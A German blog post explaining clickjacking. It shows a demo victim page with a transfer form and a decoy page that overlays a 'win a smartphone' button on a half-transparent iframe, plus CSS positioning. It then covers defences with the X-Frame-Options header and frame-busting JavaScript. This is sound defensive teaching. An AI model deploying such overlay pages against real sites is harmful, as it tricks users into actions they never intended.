Was ist Clickjacking?

In diesem Artikel möchte ich die Angriffstechnik namens „Clickjacking“ vorstellen. Clickjacking kann benutzt werden, um mit einem Klick des Benutzers auf einer manipulierten Seite eine Aktion auszuführen.

Wie funktioniert Clickjacking?

Dieser Angriffsvektor ist auch unter den Namen Scriptjacking oder UI Redressing bekannt, und ermöglicht das „Umgestalten“ einer Webseite, um sein Opfer – ähnlich wie bei CSRF – eine Aktion ausführen zu lassen.

Voraussetzung ist, dass sich die Webseite, auf der die Aktion später ausgeführt werden soll, in eine andere Seite einbetten lässt.

Die Kernfunktionalität besteht darin, dass der Angreifer eine eigene „Phishing“-Seite erstellt. Diese Seite besteht im Grunde genommen aus einem Frame und ein wenig CSS Magic.

Wir schreiben uns hierfür zwei kleine Beispielseiten, um das Problem zu verdeutlichen. Die erste Seite wird eine Funktion enthalten, welche später vom Opfer unwissend ausgeführt werden soll.

<html>
   <head>
      <title>Opferseite</title>
   </head>
   <body>
      <form action="/dotransfer" method="post" />
          <input type="hidden" value="1000" name="amount" />
          <input type="hidden" value="[RND-ID]" name="csrftoken" />
          <input type="submit" value="submit" />
      </form>
   </body>
</html>

Ok, die Webseite ist nun nicht wirklich spannend, es gibt nur ein Formular mit einem Absendenbutton. Drückt man auf diesen Button, wird die Aktion, hier zur Anschauung „dotransfer“, ausgeführt . Als CSRF kann man die Lücke nicht ausnutzen, da es durch ein entsprechendes Token geschützt wird.

Wir müssen einen Weg finden, den Benutzer die Aktion ohne sein Wissen ausführen zu lassen. Dazu erstellen wir eine zweite Seite, welche die erste Seite einbindet.

<html>
    <head>
        <title>Hack</title>
    </head>
    <body>
       <button id="clickme"/>Gewinne ein Smartphone</button>
       <iframe src="http://opferseite.de/inittransfer.html" id="frame"/><iframe>
    </body>
</html>

Wir brauchen jetzt noch ein wenig CSS, um das Iframe (hier im Beispiel halbdurchsichtig) zu machen, und den #clickme Button über den Absenden-Button des Iframes zu legen.

#clickme {
    position:absolute;
    top:0px;
    left:0px;
    color: #ff0000;
}

#frame {
    width: 100%;
    height: 100%;
    opacity: 0.5;
}

Die Position des Buttons muss dann nur entsprechend über dem Absendenbutton des Iframes absolute positioniert werden.

Im Endeffekt sieht der Benutzer nur noch den Button mit der Aufschrift „Gewinn ein Smartphone“. Darüber liegt jedoch das unsichtbare Iframe. Möchte der Benutzer den Gewinn ergattern betätigt er nicht den Gewinnbutton, sondern den Absendenbutton im Iframe, da dieser über dem Gewinnbutton liegt. Damit wird die Aktion im Hintergrund ausgeführt, und wir haben unser Ziel erreicht.

Wie schützt man sich vor Clickjacking?

Gegen Clickjacking kann man sich effektiv schützen, wenn man das Framing seiner Seiten verbietet. Dies kann man erreichen, in dem man in der HTTP-Response den X-Frame-Options setzt.

X-Frame-Options: SAMEORIGIN

Mit dem Wert SAMEORIGIN wird das Einbinden von Webseiten, außerhalb der eigenen Domain verboten, sofern der Browser diesen Header versteht. Per .htacces lässt sich das leicht einrichten, in dem man die folgende Zeile hinzufügt:

Header set X-Frame-Options "SAMEORIGIN"

Falls der Client Javascript aktiviert haben muss, kann man auf eine Javascriptlösung zugreifen. Es wird das body-Tag per Style-Element unsichtbar gemacht, und danach per Javascript wieder sichtbar.

<style id="antiClickjack">body{display:none !important;}</style>

Es fehlt nur noch ein Stückchen Javascript, welches überprüft, ob die Seiten-URL gleich der Frame-URL ist. Wenn dies der Fall ist, dann wird der body sichtbar, andernfalls wird man auf die Frame-URL weitergeleitet.

<script type="text/javascript">
   if (self === top) {
       var antiClickjack = document.getElementById("antiClickjack");
       antiClickjack.parentNode.removeChild(antiClickjack);
   } else {
       top.location = self.location;
   }
</script>

Ich finde die Lösung mit dem Header etwas eleganter, da man im Browser Javascript deaktiviert haben kann.

Fazit

Ich hoffe, ich konnte diesen weiteren Angriffsvektor ein wenig erläutern. Wir liefern nun auch den X-Frame-Options Header aus :)

~ Sebastian